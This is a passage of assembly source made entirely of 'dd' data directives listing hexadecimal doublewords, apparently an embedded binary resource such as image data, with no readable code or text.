0BAE2D2B2h, 0D0C1E3D1h, 0E4D4B4E4h, 0B6E5D3BBh, 0D4C0E6D6h dd 0E1D6BAE0h, 0B8E7D5BDh, 0D7BFE9D8h, 0E3D5C9E9h, 0BEE3D7C3h dd 0D8C8E4DAh, 0E5D9C5DFh, 0C0E0D8CFh, 0DCC4E7DCh, 0E7DBC7E1h dd 0C3E8DEC1h, 0DFC7E9DFh, 0EADCD0E4h, 0C4EADECAh, 0DFCFEBE0h dd 0ECE0CCE6h, 0CDE6DED5h, 0E3CFEEE2h, 0EBE2DAF0h, 0D7EBE5D4h dd 0E9D9EEE8h, 0F1E8DFF0h, 0E1F2EBDAh, 0ECDCF2EAh, 0F3EBE2F3h dd 0DDF4ECE3h, 0EDE4F4EEh, 0F6EFDEF5h, 0E7F7EEE5h, 0FFFFF8F0h dd 4F921FFh, 0FF000A01h, 2C00h, 3AC0000h, 8000015h, 0A5D300FEh dd 60B04723h, 13088141h, 0B0C85C2Ah, 0EC86C3A1h, 0E88BA5D8h dd 88BBA2AEh, 646A2D14h, 46230E77h, 82052075h, 0A4B2491Ch dd 0CD2693C9h, 4E572B99h, 0EA97CBA5h, 295BA9DCh, 9BB79C4Eh dd 2B8A6ADEh, 0CBA65207h, 0B2572973h, 0DCD2C9ACh, 5B2F97B9h dd 0B3A72CB2h, 2D71D129h, 4A951DCFh, 0ABD5AAB5h, 1D2DCF58h dd 0D79C7587h, 0E9FCFE71h, 0ACB64B1Bh, 0CAFBB259h, 56B7DBE6h dd 65B4DA5Fh, 0CB5DC9F7h, 0BBDCAE96h, 95C2E371h, 5FAEF63Bh dd 0E6E16EBFh, 0AFF66BEDh, 1388C3E1h, 0B8CC5E2Bh, 88C7E3B1h dd 2B5DD1F3h, 0CBE5B219h, 964F3398h, 3EB399CCh, 8F2564CFh dd 342F9CEDh, 0CFA5D168h, 0BA9B3EAAh, 0A4B56BB4h, 0DCFEAF53h dd 0D8EDB47Ah, 867773B8h, 6F6FF76Dh, 7F73AEC7h, 0F63A3DA6h dd 0F164D36Ch, 7CA7D3E1h, 0CFC972ACh, 47BBE1F3h, 0E574FABDh dd 0BF4FB1D4h, 0F73B7DB7h, 0FEEDE0EAh, 9E37BBD9h, 0E879F57Ch dd 37B3CFD3h, 0F7F8BAAFh, 67BFD7EAh, 3CDE9EAFh, 0E9E5F87Ah dd 0BFAF0797h, 0FCF1FEFFh, 0ED7FE027h, 81606814h, 0A0A81CEBh dd 9834E182h, 44CB8160h, 0D784CD78h, 41616844h, 0E0864E0h dd 0E41A1B41h, 3E1F43A1h, 0EA88E224h, 42512430h, 0A2543127h dd 84CCE939h, 8D2A8BD4h, 2E8C6314h, 8DD4B4BAh, 8EC39A38h dd 84D94C3Ah, 993B4E13h, 3B399203h, 5212B515h, 14D4DA3Dh dd 0E9154B8Eh, 154E8FD4h, 5494D599h, 57D2C556h, 0CE238E58h dd 608FE57h, 1DD497DEh, 65731C97h, 99E6272Dh, 0A696C268h dd 0B6CD826Ah, 58570DBh, 825E56E6h, 9C6729D5h, 9C568169h dd 66EA7C6Eh, 0EA7D9EDBh, 83740F86h, 0A168374Ah, 19668DB8h dd 15D68C65h, 359EA3E8h, 64A0D9F7h, 72A88A4Ah, 9DFA6298h dd 0A766077h, 5E60A71Eh, 0D9A79DF7h, 75DD9A8Dh, 0AA977299h dd 0AAB699AAh, 0B0FEAB9Dh, 741D2A62h, 0A6672689h, 19F1CB59h dd 62AC76ABh, 0A7A9AA47h, 0AEE9AAA6h, 5D4AFEA0h, 17D29D79h dd 29EA789Fh, 0CDB3DF1Bh, 7A4F27B2h, 9FB7E5F8h, 0D7E8F43Ch dd 70F13C9Fh, 13C6DCBh, 7FA00B82h, 2E57FE01h, 0B8260A3Ch dd 0B2ECBACEh, 0E883607Bh, 0BCCDC384h, 0EF637CDCh, 23860D37h dd 0F2FC858Ch, 0FF3761ABh, 86F0286Ah, 30687B02h, 7C221939h dd 0F06C2F0h, 2888D074h, 40D2E422h, 0E5418E6h, 0D4EE3739h dd 71354114h, 4C93143Ch, 4E53A946h, 0CE54823Eh, 0C4E7288Fh dd 923E3A93h, 3D8F649Ch, 94724CA6h, 939CD732h, 0A56A52CAh dd 64E5C815h, 5B578E55h, 0D055FD02h, 96997343h, 6B1748B1h dd 22C3A89Dh, 6BA7B4EDh, 6D1BCD46h, 0AB759E6Fh, 2681A6D4h dd 5EBDAAECh, 0B4ABA867h, 0A66C4D7Eh, 0DF33E0F6h, 2DA768D9h dd 8F65D99Eh, 0AD73298Dh, 0A6DCCDC2h, 376DBA9Ch, 7AF6BEAAh dd 4AA7FEEAh, 786C8B1Fh, 37EE05E3h, 497DEFB2h, 83857978h dd 84E01F39h, 78B89793h, 0F8EE42C6h, 0BDFDEEE1h, 0D74FA974h dd 9C77A5FDh, 0D3F79A9Bh, 78E7BBA0h, 0C7C8F7E5h, 3AD0B42Ch dd 0ACB5DEABh, 0EBFAEEB7h, 0FB2B81FAh, 8ED7B4ECh, 0E6EDECCEh dd 0E83A2EBEh, 0EF6ECEECh, 0CE8EF3BEh, 4BDFC337h, 7CDDBD2Fh dd 0DC376F33h, 836F635Ch, 0FD2F44C2h, 0D377D1F4h, 4FD8364Dh dd 0DDF58D98h, 0C030036Ch, 7E2F8703h, 0C0FE3C0h, 321CF8FEh dd 6C5F18Ch, 0C1106389h, 0A19388E0h, 638137FCh, 0DD35FDF3h dd 38FDE40Ch, 8FF2D4F1h, 4B5200DAh, 23FA7F8h, 4180D01Ah dd 84539913h, 0FD2DC0A6h, 0C9371C68h, 72BC3792h, 2EA1D2B4h dd 165C163Dh, 41C6FCB3h, 72CE2DC8h, 85A4BA1h, 5D9DD741h dd 9E6B8D75h, 0EEDE55F2h, 7D4EB766h, 53936F8Eh, 48670C9Bh dd 4AFE1A43h, 1C1AC772h, 0C3A6CEE2h, 5A2DA61Ah, 0CEA2D1FEh dd 0C3374C7Ah, 754EA60Bh, 0E9E24C46h, 26ACA3D0h, 1A74D12Eh dd 0D90F968Ch, 0CE264323h, 94438AC7h, 474EE94Fh, 90662CC5h dd 62EC5289h, 0ACF8C712h, 750B4E2Eh, 1AA34BB0h, 6FBB2763h dd 0EF1DEECDh, 0E71C1700h, 0CA380F18h, 0A4758E2Eh, 98ED1E63h dd 0E46878C7h, 0C8111E22h, 30E6203Ah, 7B8F990Fh, 0F350A3D6h dd 0E748C428h, 0BA1C2371h, 0A6F505D0h, 606D8BA7h, 0A8D51B2Fh dd 0B92E35C6h, 927A4449h, 0A4F8E07Bh, 4A193F28h, 94D2964Fh dd 0C2184BE5h, 0F28DE432h, 0F647EFD5h, 672CA03Bh, 0FD960DE9h dd 0B0D81B08h, 67FB0046h, 0F2FA5A0Eh, 599B2497h, 0A5A27703h dd 4B2CD606h, 1087D414h, 2E4468C9h, 0ED725152h, 9308DC31h dd 6E69B7D6h, 5AC4858Eh, 0D84F0B5Ah, 0ADEDBDAAh, 5C8C393Bh dd 4E48A70Fh dd 7130C61Fh, 7A70B8Ah, 224E59CBh, 0CD8AE7A6h, 0A07CA302h dd 39D444F8h, 0FE483E91h, 0F27C2304h, 0BA32CEF9h, 0C45699F3h dd 8888D9E7h, 73BE2CB6h, 0E8444F89h, 0D0C99F0Fh, 3E140E86h dd 3327AD01h, 0F4C678C9h, 0F33F5454h, 6346A358h, 0D1DAC6C7h dd 0BC7A8E6Eh, 2A474823h, 0F1DA91C7h, 0E424808Fh, 0C8760E42h dd 91635E4Fh, 0BCE98213h, 0EA493920h, 38A6F235h, 0B54EA9CDh dd 61ECD377h, 0D40932Fh, 41A550AAh, 0F51AA2D4h, 2A4D48A8h dd 0D4C19B52h, 0A9F53AA6h, 334660CDh, 67D4C19Eh, 56AA7550h dd 0A355AACDh, 72ADD5C1h, 0A0D6AB95h, 0F19E3506h, 4346B2D5h dd 2B08D6ACh, 0D62AB835h, 0ADF5BAB6h, 5A6B4570h, 0BAD74AE7h dd 0DAAE95DAh, 0F75EABC8h, 0EABED7CAh, 0DD7E26F5h, 970FDE5h dd 0E47A4047h, 89911B0h, 58CB1762h, 0B156288Ch, 626C8587h dd 8C115B25h, 98A51618h, 2B66A3F5h, 0B877C7E2h, 2DA0A4C3h dd 4B311CECh, 0B48ECFDAh, 2D3D28B4h, 11EB316Ah, 0B5D65AC3h dd 2CFE8919h, 0DB478443h, 7856DADAh, 3A6DB102h, 74109778h dd 0AF224424h, 2845AD5Dh, 4C845882h, 558E2056h, 0DB9772A9h dd 0C40C8210h, 9F548561h, 0BEABA774h, 43B7590Eh, 869854ABh dd 0EC5DB438h, 0E0BA9762h, 3178AF0Dh, 8654DDC4h, 1BDF94CFh dd 0E1B728E5h, 0C365EB3Dh, 0AF8C9792h, 0D3F9317Ch, 933516A0h dd 5286ADF7h, 64D45BF7h, 0C9BFF7F8h, 7808630h, 18600C6Ch dd 0CE07C0F8h, 0C1723005h, 0E2E706E0h, 857E0F15h, 89EC2784h dd 0C2F85B0Ah, 86845E16h, 0E61CC37h, 20C3E1AFh, 1187F10Eh dd 1312E24Ch, 4E28C4F8h, 0CC0B8AB1h, 381860E2h, 0B18E3018h dd 0E3417B8Ch, 0C6B8C05Eh, 8EB1C636h, 5B8BDC77h, 40C7F8F8h dd 6B90320Eh, 131F6441h, 2648C8F9h, 5C962EF2h, 0F93B258Bh dd 5F0BBC9h, 64E17C31h, 17D93B25h, 95329E52h, 2EE5CCB1h dd 59CB5977h, 0C7988626h, 9332E64Ch, 3E6218F9h, 0D79AFE86h dd 2863E6CCh, 7E6ACDE3h, 6CE59CB3h, 0F9DB3AD6h, 737D65CEh dd 0D7626F28h, 0BE75CE4Bh, 0A0B40E80h, 42CB8D03h, 14971A1Bh dd 15A246F2h, 0DE4F213Dh, 53F71BA4h, 0C7ADA4AFh, 0AF76F65Eh dd 0B4CE93BDh, 5ED93FA6h, 1B32234Ch, 7C1EC48Ch, 515EC92Fh dd 83D477BFh, 5634C6AEh, 0BB56EACDh, 80D21A7Ah, 1D5DACB5h dd 0B7E2A26Bh, 752E821Ah, 0EBCD77A5h, 0D7FA0F5Dh, 502F8EB8h dd 0FB542931h, 0FCBF034Ah, 95B2B64Dh, 0FEA20D1Dh, 78C91A57h dd 1DA03273h, 0F803396Dh, 76CED8DAh, 5FE18D80h, 0C57B6F01h dd 8136E6E0h, 6D0CAC01h, 0FFDCFB9Bh, 9580F6F5h, 0BF766041h dd 30C518B9h, 3DE3BC06h, 0FBDB7AEFh, 7190BFDEh, 0C118A30h dd 17E3045Fh, 0BF72E0BFh, 2A64BCBBh, 0B6C9F943h, 162DB258h dd 3B86F0CEh, 88B6163Ch, 0D163C405h, 0E2B7890Ah, 0B8CF18E2h dd 8A6E31C6h, 14DC7B8Eh, 0C884D0A1h, 0F22E43FEh, 123C8B92h dd 24394728h, 47091120h, 8EE5BCB0h, 66210488h, 0D83E884Eh dd 0C872E6DCh, 0C0D01CB9h, 0E17F9E73h, 31062E7h, 8580AA16h dd 99D1BA2h, 10FA4748h, 1A74CE96h, 5004A08Ch, 2A08FA87h dd 140AF540h, 6758C1D8h, 0CC4B82F0h, 82F712F5h, 0F03F5FC4h dd 0B8C79D7h, 0C71D971Ah, 0D97B48B8h, 210B8ED5h, 0B3C85DBBh dd 0E58FC598h, 1059F73Eh, 0BF78EE39h, 7EE22D45h, 0F9245964h dd 324E56EFh, 0E47C9996h, 0CC596327h, 0E0F2F650h, 0C3F8CF15h dd 65F1F99Bh, 0E3E4B36Eh, 2BCAE73Ch, 0C797AB83h, 0AACDE6B3h dd 235B4867h, 0F3F79FBEh, 0EC4CFF9Fh, 0F41E9B5Fh, 2E2B4BD8h dd 43FAB1ADh, 881AFA1Bh, 0AC4E06BEh, 0DBDA0DE7h, 0ABDCD20Ch dd 0CD3FA6FDh, 0CF71EDBDh, 34DFBBD3h, 69592D7Ch, 7B6F5DECh dd 0E9E4E3DAh, 556C4D81h, 0AFD5F513h, 67ACEA4Eh, 2F5BD47Dh dd 0BEA8D49Fh, 0FE9BB0BEh, 2EA1EC5Fh, 3FE0FBFBh, 5CE7B9AAh dd 0BB4B72EDh, 0B6BEE5FCh, 0E00C03B7h, 0DC3B7FF5h, 0FC7010C3h dd 0FA8C318Dh, 0E1183FC7h, 0DFB6F146h, 0A7FCEECFh, 36EDCDF8h dd 8036F767h, 165C804h, 97006FF7h, 6FD6586Fh, 340BE80Ch dd 0F80E6FE6h, 63464B80h, 0BB70D64Eh, 981870E0h, 71471281h dd 1B81C715h, 0F71B81F7h, 71D71F09h, 0A0721721h, 98287260h dd 8F09172h, 2972B82Bh, 0E7280847h, 73773408h, 3973A738h dd 0F73E73D7h, 73F06205h, 4674305Fh, 97490587h, 74B74C74h dd 34845034h, 47507510h, 61101475h, 4E84D613h, 96126108h dd 76C75975h, 56855854h, 97788578h, 85B85A85h, 5E85D85Ch dd 0B0B285E8h, 8630B20Ah, 65865864h, 8687808h, 70765178h dd 586D86Ch, 178D7057h, 79066187h, 92793669h, 0F8787967h dd 6740D166h, 0EF55F679h, 15730DE6h, 0D556857h, 0D40D5569h dd 46FE5400h, 40D25FA5h, 5625440Dh, 8B56D499h, 0C5468918h dd 88289088h, 0D456956Eh, 80D55740h, 48D89B0Dh, 977AE7AEh dd 2143D74h, 3D78A16Ah, 9B6A18A2h, 8A95F14h, 8AD53B68h dd 0C97DA8ABh, 37DD7DC7h, 7DC6C38Bh, 0CE0CE6C9h, 18B80D20h dd 7E16B06Bh, 0B58B46C9h, 24994978h, 88A5488Bh, 0E28C78BEh dd 47E26D37h, 6D96E86Dh, 0FD8790C6h, 26F00CA7h, 6F26F28Dh dd 0F8627803h, 0A6FC6277h, 8DD8DC6Fh, 0DD8DF8DEh, 80C66F08h dd 0BF6F57Fh, 0DB6FA6F7h, 36F96318h, 80987270h, 8EF8EEh dd 0F0BC0BC7h, 8068F30Bh, 0BD0BB86Eh, 0B76964B0h, 0B676A0Bh dd 0B8FE0B8h, 0D8197697h, 70B71270h, 771481Bh, 0A71B8209h dd 9F90C0Ah, 2271790Eh, 20A69118h, 9F90E91h, 18917097h dd 0B0940979h, 91D91C91h, 2C094091h, 308F82B8h, 8692392h dd 27084926h, 0D8340869h, 83783607h, 3083C73Dh, 4683FED9h dd 17440557h, 84304C84h, 48847844h, 0A0147518h, 9E61284h dd 429410A1h, 0F9439439h, 0AE9410Ah, 4A0AE0A1h, 0D94A0AF9h dd 94F94E94h, 4D94294Eh, 0B94D9499h, 9579560Ah, 5A959958h dd 95995B9h, 95A0A00Ah, 0A995895Fh, 30A99560h, 90C0AB96h dd 689630AAh, 0A96C96B9h, 8648660Ah, 7D77E0B5h, 0B6488677h dd 0B58690Bh, 0E64770Ch, 764C64D7h, 70686F8Fh, 8E787872h dd 86658747h, 8D066B87h, 0BF0C5879h, 0D89656A0h, 67556B98h dd 8C56B548h, 70D25668h, 56756D67h, 0AE57198Eh, 0B7AE7AA7h dd 3D868649h, 0AE6A00D8h, 28B348D8h, 49C8AF68h, 0C33D98A3h dd 68C06818h, 6C78C66Ch, 0B87E08C8h, 50C80CE8h, 0C80C854h dd 0D78CC5FEh, 0E9BC0CC6h, 6D40CC5Fh, 0B06C57E1h, 19AF6C79h dd 8CD8C89Bh, 62B8CEh, 66F46028h, 6F88048Dh, 0EF8F06F6h dd 6F98088h, 80B6FF70h, 110BD8ECh, 0DC63C8FEh, 9DE9DD9h dd 8F00BD70h, 0BE70178Ah, 56517000h, 78B65B9Eh, 500BF65Bh dd 264B8F26h, 9ED9F08Fh, 0C7098F2h, 79038177h, 90681A9Fh dd 0A81B909h, 37179FD9h, 91591382h, 17A02911h, 99199169h dd 0A0991D91h, 90924920h, 69259240h, 927A1092h, 7592A07Dh dd 5A16A150h, 74183607h, 3A83B068h, 574283C8h, 83E74474h dd 42055934h, 58468438h, 2374F84h, 3D753A2Ah, 40140159h dd 9894601h, 98A33A32h, 4A350A10h, 0A39A3894h, 42A3BA3Ah dd 0FA3E95E9h, 0A41A40A3h, 5EA43A42h, 0A4509B9h, 0A4909B0Ah dd 4CA4BA4Ah, 209BA4DAh, 915A50A0h, 7E96B96Dh, 296D8637h dd 96F64497h, 80A59A58h, 88680B67h, 87097E9Fh, 8365F981h dd 26F56639h, 6EF6F366h, 0F3796A69h, 0B9970BF6h, 6776CD79h dd 9555C546h, 0AA75A719h dd 0A70A7779h, 6C98F676h, 0D4B888B5h, 7AD57456h, 0FE89C541h dd 0AD9AD887h, 9A868899h, 9C6A86A8h, 0CA8C9A8Ch, 0C9B70D28h dd 0C89B70Ch, 0D8A919BCh, 1A929BC6h, 0A9BA98A9h, 8CA8FA98h dd 0D254CAh, 0AA2546AAh, 449BC0D2h, 5AA7A9B5h, 0CCAA6AAh dd 9DA9C0C9h, 562A7FBAh, 6297FE7Fh, 0B69D26F1h, 8F3AB7Ah dd 8138099Fh, 4E6388F8h, 68556356h, 8570BD76h, 55AC5AC4h dd 0E64E8FC8h, 70986E9Eh, 0CC650817h, 0D70A70BAh, 9F8AD0ACh dd 7818AD4h, 0E9099FC9h, 71AADA9Fh, 5171EA00h, 0B91890EAh dd 91AA0791h, 1BAE5A0Ah, 0FAE8A0E9h, 0A1109008h, 75A11AECh dd 8A1707D0h, 72A18A1h, 2F062A15h, 0FA1F9309h, 0A2474383h dd 3E74CA25h, 30340430h, 33A2703h, 2EA2FA2Bh, 0AA2F93DAh dd 8EA3600h, 0EB0DB0Ch, 1A34B0DBh, 0A33B12B1h, 96A32096h dd 9B18B170h, 0B1BB1AB1h, 1EA4EB1Bh, 1B20B1FBh, 9CA4DB2h dd 25B25B24h, 2B2409FBh, 9F0AAA5h, 0A5FE3A54h, 7186390Ch dd 0AB2F8649h, 0B3196FA5h, 79869B30h, 7A61AD49h, 9809E965h dd 689CF78Ch, 0CA6D9CFAh, 676A7AA7h, 5F5FC5FDh, 0D0C99955h dd 0B45B4A6Ch, 6F892B4Eh, 656E0D85h, 9C489588h, 886C7888h dd 80D26886h, 6C88BE0Dh, 0C59AEB56h, 9B62A8D9h, 9BE6D36Ch dd 94A99A92h, 0CA93A93Ah, 0A95B66AAh, 0AEB67B6Bh, 76CFA9BAh dd 0AA154D8Ch, 470CDAA2h, 1AAAA9C5h, 0AAD9BDB7h, 0C69BCB7Ch dd 362B0CC0h, 0C062A7Fh, 2606627h, 8E60C06h, 8F098A0Ch dd 0F39D2B8Ah, 39F08F18h, 0AC09DEB9h, 98B97AC6h, 0F8FEAC5Bh dd 9F69F58Fh, 8815ACCh, 0E9F69037h, 0BA5AD5B9h, 0D9AD7711h dd 0B0AE718Ah, 0ADDADAADh, 109A71Dh, 6097A04Ah, 0BB5AE6A0h dd 0E9AE991Dh, 0D733928Ah, 92692AAEh, 16AEFAF0h, 8A15739Ah dd 0A1CAF683h, 0FAA2073Fh, 8AFC748Ah, 3E04393h, 0D003303Eh dd 0FA2ABD1Bh, 0BD5BD4A2h, 0BD70FE0Ah, 3873B08Eh, 0D73CBDB8h dd 836BDE92h, 0E2BE1070h, 5BE4BE3Bh, 6FBE5BEh, 73BE9BE8h dd 0E073BEB0h, 6EBEE06h, 0F1BEF06Fh, 406EBF1Bh, 0BF7BF607h dd 78BF7BF8h, 0A07C0740h, 7C078BFh, 2C01078h, 0C01C03Ch dd 0C0707708h, 82077C08h, 0BC0AC0B0h, 0C0FC0EC0h, 7FC0E08Dh dd 0FC0B07F0h, 8A08D07h, 1809508Ah, 0DC1CC1BCh, 92C19C1h dd 22C21C20h, 5C21C23Ch, 9509209h, 0E2095C28h, 4097AE2Ah dd 0A51A070Ah, 9F0A40A4h, 4C34C310h, 968B2E0Ah, 0A7C390A7h dd 0DC3C0B00h, 0C3FC3EC3h, 0BBC3DC40h, 0CB3B0BC0h, 0BA481986h dd 49AD2AD0h, 0BB9386ECh, 0C4FAB70Bh, 0F598A8E6h, 5B42A6A6h dd 8D26F6C5h, 5AAB36F5h, 18E3C5BCh, 6F38DA63h, 628E08D6h dd 463B0C1Ch, 0B40B3ACh, 68C69C68h, 976A0B3Ch, 85F95A85h dd 0C6C6C769h, 981363BAh, 0B877576h, 5FC78771h, 195A85A8h dd 90C95686h, 0AA967FEh, 2B90DC81h, 2A4290EBh, 828919BBh dd 8CC8BC8Ah, 9094722Ch, 82A91B72h, 0B8AE7728h, 0D08DBB8Bh dd 88A0E08h, 9A089088h, 0AC9EC9BCh, 0C9C089C9h, 0A4085088h dd 3085CA5Ch, 0CA5CA3CAh, 0A7083083h, 0BBC088Ch, 0CB1C95A1h dd 0AFCB2CB2h, 83CAFCh, 0CB9CABA1h, 7A083CBAh, 0FCBECBD0h dd 0CC1CC0CBh, 7A079CC0h, 7CC60710h, 0CC9CC8CCh, 0CC06DCC6h dd 0FCCE065Ch, 60CD0CCh, 0D2065CD2h, 4064CD5Ch, 5DCD206h dd 0DC05D060h, 9CDDCDDCh, 0CE1CE005h, 51051059h, 1CE4CE00h dd 0CE805505h, 0EC04BCE7h, 0C03FCECCh, 3F041CEh, 3F03FBCEh dd 103F0400h, 0BCE04004h, 0D2CFBBD1h, 5CFEA2BBh, 0BD4BD5B0h dd 4D03BD7h, 104CD03Dh, 2F02F04h, 9D0B021h, 0FD0ED0DDh dd 0D11D10D0h, 14032D12h, 7D16D15Dh, 3AD15D1h, 3AD1BD1Ah dd 0FD1E0420h, 39D1ED1h, 24039042h, 7047042Dh, 0FE7D1E04h dd 0D26D2AD2h, 27D2DD2Ah, 0E052050Dh, 4E05004h, 34D33D32h dd 4D38050Dh, 52D3AD3h, 3ED3D05Ch, 1D3E05ADh, 5AD3DD4h dd 44D45D44h, 9D48063Dh, 0D4B06AD4h, 4ED4DD4Ch, 106906ADh dd 6CD51D5h, 0CCD4DD51h, 0BD4F06DCh, 76C09D4h, 82D5DC09h dd 3D5FC140h, 8707FC1h, 66C1E087h, 5C29C18Dh, 0D6B09309h dd 6CD6DD6Ch, 0ED6DD69Dh, 0D7308CA0h, 71D6E08Ch, 9093A0EDh dd 82A09309h, 7ED7D099h, 0ED80D7FDh, 0D830A3D7h, 860A50A3h dd 8D86D87Dh, 0D8BD8A0Ah, 8ED8DD8Ch, 6D8BD8FDh, 0D8CD880Ah dd 960AC71Dh, 9D98D97Dh, 0D9BD9AD9h, 9ED9DD9Ch, 0F90A0ACDh dd 0D9ADA2D9h, 0A6BAE81Fh, 9C8D71EDh, 726DAADAh, 1CB17AE5h dd 172B0969h, 0DB3DB2DBh, 0B3A0972Bh, 1DB1923Ch, 0CA6DBACAh dd 0BEDBDDBCh, 0BDBFDBFDh, 8007B07h, 80DC2DC4h, 207C07C0h dd 0DCBDCADCh, 0C2DCBDCCh, 0EC08CC1Ch, 0F0FE77CBh, 0CCACC5DCh dd 0C6DD7DD6h, 1071CCECh, 61CCE06h, 0E0DDFDDEh, 5061DE1Dh dd 60DDFCDh, 0E1DE7DE2h, 0BDEACE2Dh, 57DECDEh, 0F0DEFDEEh dd 3CE3057Dh, 0DF4DF405h, 0F804D051h, 0BCE704DDh, 0DFDDFCDFh dd 0EDCE4DFEh, 9CECE01Ch, 4804DDFh, 8E0704Ah, 0BE0A048Eh dd 0E0DE0CE0h, 4AE0FE08h, 0AE12E0D0h, 0E15E02E0h, 0EDE17E16h dd 0BE1A040Ch, 0CF4E1AE1h, 0F4E1FE1Eh, 0E20E1BCh, 0E25036E2h dd 40E26E26h, 3E23CF80h, 4103603h, 0E017D0Bh, 0E00E0210h dd 0E3501700h, 38E37E36h, 3E36E39Eh, 0E3CE3CE3h, 4001BE35h dd 0E42018Eh, 0E45E44E4h, 1B018E44h, 0AE4A01A0h, 0E48E4201h dd 1B02B02Bh, 3E52E4F0h, 0D1CE53E5h, 2DE57E56h, 0BE5A03C0h dd 0E5DE5CE5h, 60046D1Ah, 3D3AE60Eh, 0E65E64E6h, 5605604Eh dd 0BE6AD460h, 0D49E6AE6h, 70E6FE6Eh, 2D59E71Eh, 6C069D5h dd 6C06AD58h, 606CE790h, 0CE7CFE07h, 81D62E7h, 7FE80E80h dd 4E80E810h, 0D74D67D6h, 8CC1DD67h, 0DD7408A0h, 0E8FE8EE8h dd 76E8ED6Bh, 0CD7FD6DDh, 0E97D81D6h, 9AD84099h, 0DE9CE9BEh dd 828E9DE9h, 0A171F0A3h, 5EA4DA7Eh, 0DA5DA6EAh, 0AAEA9EA6h dd 0DDABADDEh, 0A08DA9EAh, 19094BB6h, 0DDB4AE6Bh, 90AE8A0h dd 0BAC97089h, 0B924EBAEh, 0CA0C97EBh, 0A6DC0CA1h, 5EC4DC4Ch dd 0EC5DCDECh, 0CADC8DC4h, 9BFDDCBEh, 0BE9074BFh, 0D0ED1ED0h dd 0CC7BE4Eh, 6FCC707h, 5DCCCD57h, 0DED9C09Dh, 0CD0EDDEDh dd 0D8EE1EE0h, 5CD7060Ch, 0CDECDECDh, 0EAEE9DECh, 0DDFFCE2Eh dd 0EEFE04DFh, 4EF1EF0h, 5EF4E13Eh, 3DEF5EFh, 0FAEF9EF8h dd 0DD24EFAEh, 0EFFEFEEFh, 2F01F00h, 5EFBEFEFh, 0F07F06F0h dd 4003DF08h, 40F0A0h, 0F0FF0E03h, 12F11F10h, 501FF0FFh dd 0F17F16F1h, 1F020020h, 0DF1CF190h, 0F15F1DF1h, 5D0B033h dd 6006F230h, 600900FEh, 5F2300h, 2CF2BE3Dh, 900500EFh dd 0F31F3000h, 34003F30h, 9F36F32Fh, 0F3900C00h, 10018E4Dh dd 0FF3EF3D0h, 12F3FF3h, 4201AF42h, 0AE49012Fh, 0F47E4901h dd 2602BE4Ah, 0FF4C0260h, 0F51F4DE4h, 5402D026h, 7F56F55Fh dd 3CE59F5h, 5BF5B035h, 0F5B038Fh, 0E61F5CE6h, 4EE61F62h dd 9F660490h, 0F6904F04h, 6804FF6Ah, 4E68F6DEh, 5405A05h dd 6CF72F72h, 605BD46Eh, 0F7905BF7h, 48F7AF7Ah, 0EE7105EDh dd 0E7AD5305h, 84E7DE7Ah, 6079E7DFh, 0F89E8407h, 8CF8BF8Ah dd 8E86E81Fh, 0E89E8BC1h, 93E8DC1Bh, 8E96F95Eh, 9D09DE9h dd 9CF99E9Ah, 0FE9EF99Fh, 0FA1FA0F9h, 3AADDD83h, 0DC39FA5Ch dd 0F9F71E0Ah, 23C3AEA5h, 9EABD848h, 0EA5E9BFAh, 26A07C8Ah dd 1A07AE37h, 0FB9FB8EBh, 8D08FC94h, 0FFBEDBA0h, 0C9DFC0FBh dd 9AFC3FC2h, 7EC8CA4Ch dd 0ECAFC7FCh, 0CCECEECDh, 0FECFFCDFh, 7FD0ED2Eh, 0FD306606h dd 67066FD4h, 9FD8FD70h, 0CCCFD7FDh, 0DEEDE067h, 1EE1EDEFh dd 0FE3CD5CDh, 59EE8EE7h, 0F79F7B0h, 0EEBF7ACEh, 53057DF5h dd 0ADF4DF80h, 0FF2CE4DFh, 0CDF8EEEh, 4E0BFF6Eh, 0E0CFFA04h dd 44FFDFFAh, 0B100F000h, 8240E043h, 0CC1C7305h, 8C46F031h dd 3E1D0D1Bh, 0C630D884h, 2D158A44h, 5198C45Eh, 2E8B46E3h dd 0A8F47E3Ch, 1748A442h, 4C8A422Ah, 7A55231h, 7A5D2D96h dd 0E65310F8h, 3F359A4Ch, 4130783Ch, 3A0884E7h, 0B9DCFC23h dd 108841F3h, 10080C06h, 0D2290050h, 38060502h, 0C135101Dh dd 0A355A8D3h, 359AC52Eh, 4AE0100h, 1B057C0Eh, 0B2032C16h dd 8032CD65h, 5A6D5690h, 0B4216D09h, 0EE41AB6Dh, 3174BA5Ch dd 0C22135CCh, 7D120984h, 116892FDh, 160B4598h, 0A8B70B85h dd 0E2F15891h, 171C46C5h, 0C9245C81h, 284F24E4h, 59927E53h dd 5627E6F3h, 6FE7F3Ch, 68CB5A1Dh, 78B7A3D2h, 8BDA72D9h dd 5DAB3197h, 86434EBBh, 0B5DA1B0Ch, 93B6DB6Dh, 0DE1E773Bh dd 6FD0279h, 0EF37BC0Eh, 78DC5E0h, 9148C43Ah, 19C943A2h dd 5D1E5F29h, 0D5E7A2BAh, 9EC24D19h, 4CF6BB5Dh, 0EF77BDDDh dd 78D3AA34h, 8FC9E5F2h, 0FD5E9F42h, 0D7EDF67Ah, 5F1F829Bh dd 0F553A8FEh, 9FC7CBEBh, 0FE7EFF5Fh, 0CFABFBFDh, 64F934Fh dd 312F01Ch, 4130440Fh, 0B0612904h, 841F0741h, 2508C230h dd 0A42B0A1h, 0C330C11Bh, 0B0E43644h, 443B0F43h, 47114424h dd 4044A41Ch, 0C531444Eh, 9160F914h, 80E7170Eh, 0DE398DF1h dd 1B46B1A0h, 4711C46Fh, 71E47637h, 47E3347h, 86338CD2h dd 32C87224h, 0C912448Eh, 72649636h, 849E3549h, 9324CA32h dd 300CA324h, 0BB2C4AEh, 62D8BB2Dh, 0C8B2D94Bh, 0AF313522h dd 334CB320h, 0CD229CC9h, 0B3609B34h, 64DF374Dh, 0E7390913h dd 0CEB3FEA4h, 33C08939h, 0DA1081CFh, 701DCF81h, 40A061C0h dd 0A1688A15h, 61706E8Ah, 65169022h, 4E8DD134h, 49523480h dd 4F4A527h, 34C52E14h, 0E5374D53h, 3E148514h, 51543505h dd 0D4A0ED43h, 35425E0Eh, 65560CD5h, 7006D5B5h, 9C563582h dd 56A05A82h, 69D56B5Bh, 681CA181h, 0B2A3804Ah, 60AAA012h dd 0AA604AA5h, 16458201h, 6002AC58h, 0BAAEAB76h, 42C4B12h dd 80F69ABEh, 4B52CCB3h, 8DB4B582h, 0EEB9AEABh, 0BE838B9Ah dd 5CA11038h, 0C115CA12h, 3308C0AFh, 18C3306Ch, 2331D783h dd 32EC8B22h, 0ECE5ED7Bh, 0E342CEB3h, 0FED2B3F7h, 0D7B537FDh dd 